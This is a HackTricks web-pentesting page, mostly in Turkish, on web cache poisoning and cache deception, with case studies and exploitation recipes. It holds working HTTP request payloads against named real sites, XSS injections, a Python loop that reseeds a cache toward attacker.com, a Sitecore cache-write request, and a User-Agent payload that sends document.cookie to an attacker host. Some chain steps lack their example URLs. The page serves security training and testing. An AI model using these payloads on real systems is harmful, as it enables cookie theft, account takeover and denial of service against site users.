Cache Poisoning and Cache Deception

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

The difference

What is the difference between web cache poisoning and web cache deception?

  • In web cache poisoning, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
  • In web cache deception, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.

Cache Poisoning

Cache poisoning, istemci tarafı cache’i manipüle ederek istemcilerin beklenmeyen, kısmi veya saldırganın kontrolünde olan kaynakları yüklemelerini sağlamaya yöneliktir. Etkinin boyutu etkilenen sayfanın popülerliğine bağlıdır; çünkü zehirlenmiş yanıt yalnızca cache kirlenmesi süresince sayfayı ziyaret eden kullanıcılara sunulur.

Bir cache poisoning saldırısının yürütülmesi birkaç adımdan oluşur:

  1. Identification of Unkeyed Inputs: Bunlar, isteğin cache’e alınması için gerekli olmamasına rağmen sunucunun döndürdüğü yanıtı değiştirebilen parametrelerdir. Bu girdilerin belirlenmesi önemlidir çünkü cache’i manipüle etmek için suistimal edilebilirler.
  2. Exploitation of the Unkeyed Inputs: Unkeyed inputs tespit edildikten sonra, saldırganın sunucunun yanıtını kendi lehine değiştirmek için bu parametreleri nasıl kötüye kullanacağını bulması gerekir.
  3. Ensuring the Poisoned Response is Cached: Son adım, manipüle edilmiş yanıtın cache’e kaydedildiğinden emin olmaktır. Böylece cache zehirliyken etkilenen sayfaya erişen herhangi bir kullanıcı kirli yanıtı alır.

Discovery: Check HTTP headers

Genellikle bir yanıt cache’e kaydedildiğinde bunu gösteren bir header olur; hangi header’lara dikkat etmeniz gerektiğini bu gönderide kontrol edebilirsiniz: HTTP Cache headers.

Discovery: Caching error codes

Yanıtın bir cache’e kaydedildiğini düşünüyorsanız, hatalı bir header ile istek göndermeyi deneyebilirsiniz; buna genellikle 400 status code ile cevap verilmelidir. Daha sonra isteğe normal şekilde erişmeyi deneyin; eğer yanıt 400 status code ise, bunun zafiyetli olduğunu (ve hatta bir DoS gerçekleştirebileceğinizi) bilirsiniz.

You can find more options in:

Cache Poisoning to DoS

Ancak, bazen bu tür status kodlarının önbelleğe alınmadığını unutmayın; bu yüzden bu test her zaman güvenilir olmayabilir.

Discovery: Identify and evaluate unkeyed inputs

Param Miner’ı kullanarak sayfanın yanıtını değiştirebilecek parametreler ve header’lar üzerinde brute-force yapabilirsiniz. Örneğin, bir sayfa X-Forwarded-For header’ını kullanarak istemcinin oradan script yüklemesini belirtiyor olabilir:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Back-end sunucudan zararlı bir yanıt elde et

Parametre/başlık belirlendikten sonra, nasıl sanitise edildiğini ve nerede yanıtla yansıtıldığını veya başlıktan yanıtı nasıl etkilediğini kontrol et. Yine de suistimal edebilir misin (bir XSS gerçekleştirmek veya sizin kontrolünüzdeki bir JS kodu yüklemek? bir DoS gerçekleştirmek?…)

Yanıtın önbelleğe alınmasını sağla

Kötüye kullanılabilecek sayfayı, hangi parametre/başlığı kullanacağını ve nasıl suistimal edeceğini belirledikten sonra, sayfanın önbelleğe alınmasını sağlamalısın. Önbelleğe almak istediğin kaynağa bağlı olarak bu biraz zaman alabilir, birkaç saniye denemen gerekebilir.

Yanıttaki X-Cache header’ı çok faydalı olabilir; istek önbelleğe alınmadığında değeri miss, önbelleğe alındığında ise hit olabilir.
Kaynakların önbelleğe alınıp alınmadığını ve bir kaynağın bir sonraki ne zaman yeniden önbelleğe alınacağını görmek için Cache-Control header’ı da ilgi çekicidir: Cache-Control: public, max-age=1800

Bir diğer ilginç header Vary’dir. Bu header genellikle normalde keyed olmayan ek header’ların da önbellek anahtarının parçası olarak ele alındığını belirtmek için kullanılır. Bu nedenle, hedeflediği kurbanın User-Agent’ini bilen bir kullanıcı, o belirli User-Agent’i kullanan kullanıcılar için cache’i poison the cache edebilir.

Önbellekle ilgili bir diğer header Age’dir. Bu header, nesnenin proxy önbelleğinde ne kadar süre (saniye olarak) bulunduğunu tanımlar.

Bir isteği önbelleğe alırken, kullandığın header’lar konusunda dikkatli ol çünkü bazıları beklenmedik şekilde keyed olarak kullanılabilir ve kurbanın aynı header’ı kullanması gerekebilir. Her zaman işe yarayıp yaramadığını kontrol etmek için farklı tarayıcılarla bir Cache Poisoning testi yap.

Temel cache poisoning vaka çalışmaları

HackerOne global redirect via X-Forwarded-Host

  • Origin şablonlu yönlendirmeler ve canonical URL’ler X-Forwarded-Host ile oluşturuluyordu, fakat cache anahtarı yalnızca Host header’ını kullanıyordu; bu yüzden tek bir yanıt tüm / ziyaretçilerini poisoned etti.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Sahte header olmadan hemen /’i yeniden isteyin; eğer redirect devam ediyorsa global bir host-spoofing primitive’iniz var — bu genellikle reflected redirects/Open Graph linklerini stored issues’a yükseltir.

GitHub repository DoS via Content-Type + PURGE

  • Anonymous traffic yalnızca path’e göre anahtarlanıyordu; backend beklenmeyen bir Content-Type gördüğünde bir error state’e girdi. Bu error response, bir repo’nun tüm unauthenticated kullanıcıları için cacheable durumdaydı.
  • GitHub ayrıca (accidentally) PURGE verb’ünü kabul etti; bu, attacker’ın sağlıklı bir entry’yi flush etmesine ve caches’in talep üzerine poisoned variant’ı çekmeye zorlanmasına izin verdi:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • Her zaman authenticated vs anonymous cache keys’i karşılaştırın, nadiren anahtarlanan başlıkları (ör. Content-Type) fuzz edin ve re-poisoning’i otomatikleştirmek için exposed cache-maintenance verbs üzerinde probe yapın.

Shopify cross-host persistence loops

  • Multi-layer caches bazen yeni bir object’i commit etmeden önce birden fazla aynı hit gerektirir. Shopify aynı cache’i birçok localized host arasında yeniden kullandı; bu yüzden persistence birçok property üzerinde etki anlamına geliyordu.
  • Kısa automation döngüleri kullanarak tekrar tekrar reseed edin:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • Bir hit yanıtından sonra, aynı önbellek ad alanını paylaşan diğer hostlar/varlıkları tarayarak alanlar arası etki kapsamını gösterin.

JS asset redirect → stored XSS chain

  • Özel programlar genellikle /assets/main.js gibi paylaşılan JS’leri onlarca alt alan adında barındırır. Eğer X-Forwarded-Host bu varlıkların yönlendirme mantığını etkiliyorsa ancak önbellek anahtarına dahil değilse, önbelleğe alınan yanıt saldırgan JS’e 301 yönlendirmesine dönüşür ve varlığın import edildiği her yerde stored XSS oluşur.
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • Hangi hostların aynı asset path’i yeniden kullandığını haritalandır, böylece multi-subdomain compromise’ı kanıtlayabilirsin.

GitLab static DoS via X-HTTP-Method-Override

  • GitLab, static bundle’ları Google Cloud Storage üzerinden sunuyordu; bu servis X-HTTP-Method-Override’u destekliyordu. GET’i HEAD’e çevirince Content-Length: 0 olan ve önbelleğe alınabilir bir 200 OK döndü; ayrıca edge cache anahtar oluştururken HTTP method’u göz ardı ediyordu.
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • Tek bir istek, her GET için JS paketini boş bir gövdeyle değiştirdi ve aslında UI’yi DoSing yaptı. Her zaman method override’larını (X-HTTP-Method-Override, X-Method-Override, vb.) statik varlıklara karşı test edin ve cache’in method’a göre değişip değişmediğini doğrulayın.

HackerOne statik varlık döngüsü X-Forwarded-Scheme aracılığıyla

  • Rails’ Rack middleware, HTTPS’yi zorlayıp zorlamamayı belirlemek için X-Forwarded-Scheme’e güveniyordu. /static/logo.png için http taklidi yapmak cachelenebilir bir 301 tetikledi, böylece tüm kullanıcılar daha sonra varlık yerine yönlendirmeler (veya döngüler) aldı:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • Mümkünse scheme spoofing ile host spoofing’i birleştirerek yüksek görünürlüklü kaynaklar için geri döndürülemez yönlendirmeler oluşturun.

Cloudflare host-header harf büyüklüğü uyuşmazlığı

  • Cloudflare, cache anahtarları için Host başlığını normalize ediyordu ancak ham harf durumunu origins’e iletti. Host: TaRgEt.CoM göndermek origin routing/templating tarafında alternatif davranış tetiklerken canonical lowercase cache bucket’ı yine de dolduruyordu.
GET / HTTP/1.1
Host: TaRgEt.CoM
  • CDN tenant’larını, mixed-case hosts (ve diğer normalized headers) yeniden replay ederek enumerate edin; cached response ile origin response’u diff ederek shared-platform cache poisonings’i ortaya çıkarın.

Red Hat Open Graph meta poisoning

  • Open Graph tag’larının içine X-Forwarded-Host enjekte etmek, CDN sayfayı cache’lediğinde yansıtılan bir HTML injection’ı stored XSS’e dönüştürdü. Üretim kullanıcılarına zarar vermemek için test sırasında zararsız bir cache buster kullanın:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • Social media scrapers önbelleğe alınmış Open Graph etiketlerini tüketir, bu yüzden tek bir zehirlenmiş giriş payload’u doğrudan ziyaretçilerin çok ötesine dağıtır.

İstismar Örnekleri

En kolay örnek

A header like X-Forwarded-For is being reflected in the response unsanitized.
Basit bir XSS payload’u gönderip cache’i zehirleyerek sayfaya erişen herkesin XSSed olmasını sağlayabilirsiniz:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Dikkat: bu, /en?region=uk isteğini zehirleyecektir, /en isteğini değil

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

Bu this writeup’de aşağıdaki basit senaryo açıklanıyor:

  • CDN /share/ altındaki her şeyi cacheleyecektir
  • CDN %2F..%2F’i NOT decode etmeyecek veya normalize etmeyecek, bu nedenle https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 gibi cachelenecek diğer hassas konumlara erişmek için path traversal olarak kullanılabilir
  • Web server %2F..%2F’i WILL decode ve normalize edecek ve /api/auth/session ile yanıt verecek; bu, auth token içerir.

Cookies ayrıca bir sayfanın yanıtında da yansıtılabilir. Örneğin bunu bir XSS tetiklemek için kötüye kullanabilirseniz, kötü niyetli cache yanıtını yükleyen birden fazla client’ta XSS’i istismar edebilirsiniz.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

Ayırıcılar, normalizasyon ve noktalar ile uyuşmazlıklar oluşturma

Bakınız:

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal ile API key çalma

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Bu ayrıca şu belgede daha iyi açıklanıyor:

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

Bazen bir önbelleği kötüye kullanabilmek için exploit several unkeyed inputs gerekir. Örneğin, X-Forwarded-Host’u sizin kontrolünüzde olan bir domaine ve X-Forwarded-Scheme’i http olarak ayarlarsanız bir Open redirect bulabilirsiniz. Eğer sunucu tüm HTTP isteklerini to HTTPS yönlendiriyor ve yönlendirme için domain adı olarak X-Forwarded-Scheme başlığını kullanıyorsa, yönlendirme ile sayfanın nereye yönlendirileceğini kontrol edebilirsiniz.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Sınırlı Vary header ile istismar

Eğer X-Host header’ının bir JS kaynağını yüklemek için domain adı olarak kullanıldığını, ancak yanıttaki Vary header’ının User-Agent olarak belirtildiğini fark ederseniz, kurbanın User-Agent’ını exfiltrate edip o user agent ile cache’i poison etmek için bir yol bulmanız gerekir:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URL’de ve body’de isteğin olduğu bir GET isteği gönder. Eğer web server body’dekini kullanıyor ama cache server URL’dekini cache’liyorsa, o URL’ye erişen herkes aslında body’deki parameter’ı kullanır. James Kettle’in Github web sitesinde bulduğu vuln gibi:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it’s possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

HTTP Request Smuggling’i kötüye kullanarak nasıl Cache Poisoning attacks by abusing HTTP Request Smuggling yapılacağını buradan öğrenin.

Automated testing for Web Cache Poisoning

Web Cache Vulnerability Scanner web cache poisoning için otomatik test yapmak amacıyla kullanılabilir. Birçok farklı tekniği destekler ve yüksek derecede özelleştirilebilir.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Bu gerçek dünya örüntüsü, header tabanlı bir reflection primitive ile CDN/WAF davranışını zincirleyerek diğer kullanıcılara sunulan önbelleğe alınmış HTML’i güvenilir şekilde zehirlemeye imkan verir:

  • Ana HTML, güvenilmeyen bir istek başlığını (ör. User-Agent) yürütülebilir bağlama yansıtıyordu.
  • CDN cache başlıklarını kaldırıyordu fakat bir internal/origin cache vardı. CDN ayrıca statik uzantılarla biten (ör. .js) isteklere otomatik olarak önbellekleme uyguluyor, WAF ise statik varlıklar için yapılan GET’lerde daha zayıf içerik denetimi uyguluyordu.
  • İstek akışı tuhaflıkları, bir .js yoluna yapılan isteğin sonraki ana HTML için kullanılan cache key/variant’ı etkilemesine izin verdi; bu da header reflection yoluyla cross-user XSS’e olanak sağladı.

Pratik tarif (popüler bir CDN/WAF üzerinde gözlemlendi):

  1. Temiz bir IP’den (önceki reputation-based downgrades’ten kaçının), tarayıcı veya Burp Proxy Match & Replace ile kötü amaçlı bir User-Agent ayarlayın.
  2. Burp Repeater’da iki isteklik bir grup hazırlayın ve “Send group in parallel” seçeneğini kullanın (single-packet mode en iyi sonucu verir):
  • İlk istek: Aynı origin’de bir .js kaynak yoluna GET yapın ve kötü amaçlı User-Agent’ınızı gönderin.
  • Hemen ardından: ana sayfaya (/) GET yapın.
  1. CDN/WAF yönlendirme yarışı ve otomatik önbelleğe alınan .js, genellikle aynı cache key koşullarını (ör. Vary boyutları olarak aynı User-Agent) paylaşan diğer ziyaretçilere sunulan zehirlenmiş bir önbelleğe alınmış HTML varyantını seed eder.

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operasyonel ipuçları:

  • Birçok CDN cache header’larını gizler; poisoning yalnızca birkaç saatlik yenileme döngülerinde ortaya çıkabilir. Birden fazla vantage IP kullanın ve rate-limit veya reputation tetikleyicilerini önlemek için throttle uygulayın.
  • CDN’in kendi cloud’undan bir IP kullanmak bazen routing tutarlılığını artırır.
  • Eğer sıkı bir CSP varsa, reflection ana HTML context’te çalışıyorsa ve CSP inline execution’a izin veriyorsa veya bağlam tarafından bypass edilebiliyorsa bu hâlâ çalışır.

Etkisi:

  • Eğer session cookie’leri HttpOnly değilse, poisoned HTML sunulan tüm kullanıcılardan document.cookie’nin mass-exfiltrating ile toplu olarak çıkarılmasıyla zero-click ATO mümkün olabilir.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Sitecore’ye özgü bir pattern, pre‑auth XAML handler’larını ve AjaxScriptManager reflection’ını kötüye kullanarak HtmlCache’e kimlik doğrulaması olmadan yazma imkanı sağlar. Sitecore.Shell.Xaml.WebControl handler’ına ulaşıldığında, bir xmlcontrol:GlobalHeader (Sitecore.Web.UI.WebControl’den türemiş) kullanılabilir durumdadır ve aşağıdaki reflective çağrıya izin verilir:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Bu, attacker‑chosen cache key altında rastgele HTML yazar; cache key’ler bilindiğinde precise poisoning’e izin verir.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Zafiyetli Örnekler

Apache Traffic Server (CVE-2021-27577)

ATS, URL içindeki fragment’i kaldırmadan iletti ve cache key’i yalnızca host, path ve query’yi kullanarak oluşturdu (fragment’i görmezden gelerek). Bu yüzden istek /#/../?r=javascript:alert(1) backend’e /#/../?r=javascript:alert(1) olarak gönderildi ve cache key içinde payload yoktu; yalnızca host, path ve query vardı.

403 and Storage Buckets

Cloudflare önce 403 yanıtlarını cache’liyordu. Yanlış Authorization header’ları ile S3 veya Azure Storage Blobs’a erişmeye çalışmak 403 yanıtı ile sonuçlanıyor ve bu yanıt cache’leniyordu. Cloudflare artık 403 yanıtlarını cachelemeyi bıraktıysa da, bu davranış diğer proxy servislerinde hâlâ mevcut olabilir.

Injecting Keyed Parameters

Cache’ler genellikle cache key içinde belirli GET parametrelerini dahil eder. Örneğin, Fastly’nin Varnish’i isteklerdeki size parametresini cache’liyordu. Ancak, parametrenin URL-encoded bir versiyonu (ör. siz%65) de hatalı bir değerle gönderilirse, cache key doğru size parametresi kullanılarak oluşturulurdu. Yine de backend URL-encoded parametredeki değeri işlerdi. İkinci size parametresini URL-encode etmek cache tarafından göz ardı edilmesine fakat backend tarafından kullanılmasına yol açıyordu. Bu parametreye 0 değeri atamak cache’lenebilir bir 400 Bad Request hatasıyla sonuçlandı.

User Agent Rules

Bazı geliştiriciler, sunucu yükünü yönetmek için FFUF veya Nuclei gibi yüksek trafikli araçların user-agent’ları ile eşleşen istekleri engeller. Ironik olarak, bu yaklaşım cache poisoning ve DoS gibi zafiyetleri beraberinde getirebilir.

Illegal Header Fields

https://datatracker.ietf.mrg/doc/html/rfc7230 header isimlerinde kabul edilebilir karakterleri belirtir. Belirtilen tchar aralığının dışındaki karakterleri içeren header’lar ideal olarak 400 Bad Request yanıtı tetiklemesi gerekir. Pratikte sunucular her zaman bu standarda uymuyor. Dikkate değer bir örnek Akamai’dir; Akamai geçersiz karakterler içeren header’ları ileterek ve cache-control header’ı yoksa herhangi bir 400 hatasını cache’leyerek davranır. Örneğin \ gibi yasadışı bir karakter içeren bir header göndermek cache’lenebilir bir 400 Bad Request hatası ile sonuçlanabiliyordu.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

First of all note that extensions such as .css, .js, .png etc are usually configured to be saved in the cache. Therefore, if you access www.example.com/profile.php/nonexistent.js the cache will probably store the response because it sees the .js extension. But, if the application is replaying with the sensitive user contents stored in www.example.com/profile.php, you can steal those contents from other users.

Other things to test:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.

Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

High level idea:

  • A sensitive API endpoint requires a custom auth header and is correctly marked as non-cacheable by origin.
  • Appending a static-looking suffix (for example, .css) makes the CDN treat the path as a static asset and cache the response, often without varying on sensitive headers.
  • The SPA contains CSPT: it concatenates a user-controlled path segment into the API URL while attaching the victim’s auth header (for example, X-Auth-Token). By injecting ../.. traversal, the authenticated fetch is redirected to the cacheable path variant (…/v1/token.css), causing the CDN to cache the victim’s token JSON under a public key.
  • Anyone can then GET that same cache key without authentication and retrieve the victim’s token.

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • Statik görünümlü son ek CDN’i önbelleğe alınabilir hale getirir:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • SPA içindeki CSPT auth header ekler ve traversal’a izin verir:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • Sömürü zinciri:
  1. Kurbanı, SPA path parametresine dot-segments enjekte eden bir URL’ye yönlendir, ör.:
  1. SPA, kimlik doğrulamalı bir fetch gerçekleştirir:
  1. Tarayıcı normalizasyonu bunu şu adrese çözer:
  1. CDN, .css’i statik bir varlık olarak değerlendirir ve JSON’u Cache-Control: public, max-age=… ile önbelleğe alır.
  2. Kamuya açık erişim: herhangi biri sonra GET https://api.example.com/v1/token.css yaparak önbelleğe alınmış token JSON’unu elde edebilir.

Preconditions

  • SPA, aynı API origin’ine (veya çalışan CORS ile cross-origin) kimlik doğrulamalı fetch/XHR yapar ve hassas header’lar veya bearer token’lar ekler.
  • Edge/CDN, statik görünen yollar için uzantıya dayalı önbellekleme uygular (örn., *.css, *.js, images) ve önbellek anahtarını hassas header üzerinde varye etmez.
  • Base endpoint için origin non-cacheable’dır (doğru), ancak uzantı-ekli varyant edge kuralları tarafından izin verilir veya engellenmez.

Validation checklist

  • Hassas dinamik endpoint’leri belirleyin ve .css, .js, .jpg, .json gibi son ekleri deneyin. İçerik JSON kaldığı sürece Cache-Control: public/max-age ve X-Cache: Hit (veya muadili, örn., CF-Cache-Status) arayın.
  • Kimlik doğrulama header’ları eklerken kullanıcı kontrollü girdiyi API yollarına birleştiren istemci kodunu bulun. Yetkilendirilmiş isteği hedef endpoint’e yönlendirmek için ../ dizilerini inject edin.
  • Yeniden hedeflenen istekte kimlik doğrulama header’ının mevcut olduğunu (örn., bir proxy’de veya sunucu tarafı log’larında) ve CDN’nin yan geçmiş yol altında yanıtı önbelleğe aldığını doğrulayın.
  • Yeni bir context’ten (auth yokken) aynı yolu isteyip gizli JSON’un önbellekten servis edildiğini teyit edin.

Automatic Tools

  • toxicache: Golang scanner, bir URL listesinde web cache poisoning zafiyetlerini bulmak ve birden fazla injection tekniğini test etmek için.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin